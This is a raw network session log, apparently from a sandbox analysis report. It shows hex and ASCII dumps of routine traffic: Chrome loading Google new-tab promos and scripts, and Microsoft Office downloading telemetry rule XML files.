2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 33 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700253,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-07 23:48:20 UTC	1322	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor
2024-12-07 23:48:20 UTC	472	IN	Data Raw: 31 64 31 0d 0a 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 58 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 56 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: 1d1createScriptURL(a):a)};_.Xd\u003dfunction(a){if(a instanceof _.Vd)return a.i;throw Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 Data Ascii: 8000b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003
2024-12-07 23:48:20 UTC	1390	IN	Data Raw: 29 7c 7c 5f 2e 67 65 28 64 2c 5c 22 64 61 74 61 2d 5c 22 29 3f 61 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 64 2c 63 29 3a 61 5b 64 5d 5c 75 30 30 33 64 63 7d 29 7d 3b 6c 65 5c 75 30 30 33 64 7b 63 65 6c 6c 70 61 64 64 69 6e 67 3a 5c 22 63 65 6c 6c 50 61 64 64 69 6e 67 5c 22 2c 63 65 6c 6c 73 70 61 63 69 6e 67 3a 5c 22 63 65 6c 6c 53 70 61 63 69 6e 67 5c 22 2c 63 6f 6c 73 70 61 6e 3a 5c 22 63 6f 6c 53 70 61 6e 5c 22 2c 66 72 61 6d 65 62 6f 72 64 65 72 3a 5c 22 66 72 61 6d 65 42 6f 72 64 65 72 5c 22 2c 68 65 69 67 68 74 3a 5c 22 68 65 69 67 68 74 5c 22 2c 6d 61 78 6c 65 6e 67 74 68 3a 5c 22 6d 61 78 4c 65 6e 67 74 68 5c 22 2c 6e 6f 6e 63 65 3a 5c 22 6e 6f 6e 63 65 5c 22 2c 72 6f 6c 65 3a 5c 22 72 6f 6c 65 5c 22 2c 72 6f 77 73 70 61 6e 3a 5c 22 72 6f 77 53 Data Ascii: )\|\|_.ge(d,\"data-\")?a.setAttribute(d,c):a[d]\u003dc})};le\u003d{cellpadding:\"cellPadding\",cellspacing:\"cellSpacing\",colspan:\"colSpan\",frameborder:\"frameBorder\",height:\"height\",maxlength:\"maxLength\",nonce:\"nonce\",role:\"role\",rowspan:\"rowS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49715	216.58.208.228	443	7412	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 23:48:20 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 07 Dec 2024 23:48:20 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-07 23:48:20 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-07 23:48:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49718	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:20 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:20 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 27a1a40f-f01e-0096-7d0b-4810ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234820Z-r1cf579d778kr8xrhC1EWRfkun000000043g000000008pms x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:20 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:20 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:20 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 3de6f1c3-b01e-003d-6e01-48d32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234820Z-r1cf579d778w59f9hC1EWRze6w0000000410000000003eyf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:20 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:20 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:20 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1e9ba10d-901e-0029-2907-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234820Z-r1cf579d778g2t6ghC1EWRfggs0000000330000000008qfh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:20 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:20 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:20 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 9879796e-101e-0034-5802-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234820Z-r1cf579d7786c2tshC1EWRr1gc00000003g0000000000s9c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:20 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:20 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:20 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:20 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: c4bc35ba-101e-007a-7206-48047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234820Z-r1cf579d778zvkpnhC1EWRv23g00000003wg0000000099ab x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:20 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:22 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:22 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 682fb484-401e-0083-5904-48075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234822Z-r1cf579d778bb9vvhC1EWRs954000000037g000000009v29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:23 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.7	49724	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:22 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:22 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: b569e8fb-501e-008c-5305-48cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234822Z-r1cf579d778xq4f9hC1EWRx41g00000003m00000000057gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
